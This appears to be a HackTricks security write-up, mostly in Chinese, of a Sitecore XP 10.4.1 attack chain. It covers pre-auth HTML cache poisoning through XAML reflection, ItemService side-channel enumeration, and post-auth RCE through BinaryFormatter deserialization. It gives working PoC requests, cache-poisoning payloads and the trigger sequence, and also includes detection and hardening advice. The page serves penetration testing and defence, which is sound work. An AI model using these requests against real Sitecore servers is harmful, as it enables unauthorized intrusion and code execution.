Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Reading time: 9 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

本页总结了针对 Sitecore XP 10.4.1 的一个实用攻击链,该链从 pre‑auth XAML handler 出发,利用 HTML cache poisoning,并通过一个 authenticated UI 流程最终通过 BinaryFormatter deserialization 实现 RCE。这些技术可推广到类似的 Sitecore 版本/组件,并提供用于测试、检测和加固的具体原语。

  • 受影响并测试的产品:Sitecore XP 10.4.1 rev. 011628
  • 修复于:KB1003667、KB1003734(2025年6/7月)

另见:

Cache Poisoning and Cache Deception

Deserialization

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

入口是注册在 web.config 中的 pre‑auth XAML handler:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

可通过以下方式访问:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

控制树包含 AjaxScriptManager,它在事件请求时读取 attacker‑controlled 字段,并通过反射在目标控件上调用方法:

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

关键观察:XAML 页面包含一个 XmlControl 实例 (xmlcontrol:GlobalHeader)。Sitecore.XmlControls.XmlControl 派生自 Sitecore.Web.UI.WebControl(一个 Sitecore 类),它通过 ReflectionUtil.Filter allow‑list (Sitecore.*),解锁了 Sitecore WebControl 上的方法。

Magic method for poisoning:

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

因为我们可以定向到 xmlcontrol:GlobalHeader 并按名称调用 Sitecore.Web.UI.WebControl 方法,所以我们获得了一个 pre‑auth 任意 HtmlCache 写入原语。

PoC 请求 (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

说明:

  • __SOURCE 是 xmlcontrol:GlobalHeader 在 Sitecore.Shell.Xaml.WebControl 中的 clientID(通常稳定,例如 ctl00_ctl00_ctl05_ctl03,因为它来自静态 XAML)。
  • __PARAMETERS 的格式是 Method("arg1","arg2").

What to poison: Cache key construction

典型的 Sitecore 控件使用的 HtmlCache key 构造:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

针对已知 sublayout 的定向中毒示例:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

枚举可缓存项和 “vary by” 维度

如果 ItemService 被(不当)匿名暴露,你可以枚举可缓存组件以推导出精确键。

快速探测:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

列出可缓存的项目和标志:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

查找类似 Path、Cacheable、VaryByDevice、VaryByLogin、ClearOnIndexUpdate 的字段。设备名称可通过以下方式枚举:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration 在受限身份下 (CVE-2025-53694)

即使 ItemService 模拟一个受限账户(例如 ServicesAPI)并返回一个空的 Results 数组,TotalCount 仍可能反映 pre‑ACL 的 Solr 命中。你可以用 wildcards 对 item groups/ids 进行 brute-force,并观察 TotalCount 收敛,以映射内部内容和设备:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE:BinaryFormatter 在 convertToRuntimeHtml 中的 sink(CVE-2025-53691)

漏洞点:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

可通过 convertToRuntimeHtml 管道步骤 ConvertWebControls 访问,该步骤查找 id 为 {iframeId}_inner 的元素,对其进行 base64 解码并反序列化,然后将生成的字符串注入到 HTML 中:

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

触发(已认证,Content Editor 权限)。FixHtml 对话框调用 convertToRuntimeHtml。端到端无需 UI 点击:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Gadget generation: 使用 ysoserial.net / YSoNet 和 BinaryFormatter 生成一个 base64 payload,返回一个 string。string 的内容在反序列化副作用执行后由 ConvertWebControls 写入 HTML。

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

完整链

  1. Pre‑auth 攻击者通过 XAML AjaxScriptManager 反射调用 WebControl.AddToCache,向 HtmlCache 注入任意 HTML。
  2. 被注入的 HTML 提供 JavaScript,诱导已认证的 Content Editor 用户进入 FixHtml 流程。
  3. FixHtml 页面触发 convertToRuntimeHtml → ConvertWebControls,该过程通过 BinaryFormatter 对攻击者控制的 base64 进行反序列化 → 导致以 Sitecore 应用程序池身份的 RCE。

检测

  • Pre‑auth XAML:对 /-/xaml/Sitecore.Shell.Xaml.WebControl 的请求带有 __ISEVENT=1、可疑的 __SOURCE__PARAMETERS=AddToCache(...)
  • ItemService 探测:出现 /sitecore/api/ssc 通配查询激增,TotalCount 很大但 Results 为空。
  • 反序列化尝试:先是 EditHtml.aspx,随后 FixHtml.aspx?hdl=...,以及 HTML 字段中异常大的 base64。

加固

  • 应用 Sitecore 补丁 KB1003667 和 KB1003734;对 pre‑auth XAML 处理器进行限流/禁用或加入严格验证;监控并对 /-/xaml/ 实施速率限制。
  • 移除/替换 BinaryFormatter;限制对 convertToRuntimeHtml 的访问,或对 HTML 编辑流程实施强健的服务器端验证。
  • /sitecore/api/ssc 锁定为 loopback 或认证角色访问;避免使用导致基于 TotalCount 的 side channels leak 的 impersonation 模式。
  • 强制对 Content Editor 用户实施 MFA/最小权限原则;审查 CSP 以减少 cache poisoning 中 JS steering 的影响。

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks